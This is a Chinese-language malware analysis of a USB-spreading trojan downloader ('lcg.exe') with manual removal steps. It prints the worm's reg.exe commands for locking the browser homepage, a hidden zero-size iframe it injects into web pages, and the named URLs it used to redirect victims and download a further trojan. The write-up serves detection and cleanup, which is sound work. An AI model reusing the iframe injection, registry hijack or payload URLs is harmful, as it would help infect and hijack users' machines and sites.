这是一个利用U盘传播的木马下载器，具有下载木马和感染htm等网页文件的作用

　　File: lcg.exe
　　Size: 25600 bytes
　　Modified: 2007年11月1日, 21:41:50
　　MD5: E27F5F3D044FD678B42C613EDA08F267
　　SHA1: C89C10E63B16389C28DE5BB56AAE25B2F97FC965
　　CRC32: 68143A07

　　技术细节：
　　1.病毒运行后，释放如下副本：
　　%systemroot%\system32\Autorun.inf
　　%systemroot%\system32\SVSH0ST.EXE
　　在每个分区下面释放一个lcg.exe和autorun.inf,达到通过U盘等移动存储传播的目的

　　2.添加如下注册表项目达到开机启动的目的
　　在HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run下面添加
{svchost}{%systemroot%\system32\SVSH0ST.EXE}的项目

　　3.锁定主页
　　调用reg.exe通过如下命令锁定IE浏览器主页
add "HKCU\Software\Microsoft\Internet Explorer\Main"
/v "Start Page" /t REG_EXPAND_SZ /d http://new.youxi222.com?9188 /f
将主页锁定为http://new.youxi222.com/?9188
add "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel"
/v "HomePage" /t REG_DWORD /d 00000001 /f
　　使得IE设置中主页设置的按钮不可用

　　但该网站已经无法访问

　　4.遍历所有磁盘分区删除*.gho文件

　　5.遍历所有磁盘分区的INDEX.ASP，.HTM，INDEX.PHP，DEFAULT.ASP，DEFAULT.PHP，CONN.ASP文件
　　在其尾部加入{IfrAmE src=http://web.77930.com/cc/2/1.htm?8888 width=0 height=0}{/IfrAmE}的代码

　　6.连接网络下载木马http://www.senlove.com/0/x.exe
但该链接已经失效

　　解决办法：
　　下载sreng(可到down.45it.com下载)

　　1.打开任务管理器(ctrl+alt+del组合键调用任务管理器)
　　结束SVSH0ST.EXE进程（注意与svchost.exe的区别）

　　2.打开sreng
　　启动项目  注册表 删除如下项目
　　删除如下项目
　　HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run下面添加
{svchost}{%systemroot%\system32\SVSH0ST.EXE}

　　系统修复-Windows Shell/IE
　　找到如下项目并勾选
　　允许Internet Explorer选项窗口和选项窗口的所有内容
　　设置主页为"about:blank"

　　然后点击 “修复”按钮

　　3.双击我的电脑，工具，文件夹选项，查看，单击选取"显示隐藏文件或文件夹" 并清除"隐藏受保护的操作系统文件（推荐）"前面的钩。在提示确定更改时，单击“是” 然后确定
　　点击 菜单栏下方的 文件夹按钮（搜索右边的按钮）
　　在左边的资源管理器中单击C盘（系统所在盘）
　　删除如下文件

　　%systemroot%\system32\Autorun.inf
　　%systemroot%\system32\SVSH0ST.EXE
　　C:\lcg.exe
　　C:\autorun.inf

　　同理 在左边的资源管理器中单击其他盘
　　删除autorun.inf和lcg.exe

　　4.修复受感染的htm等网页文件
　　推荐使用CSI的iframkill
　　下载地址：http://www.vaid.cn/blog/read.php?9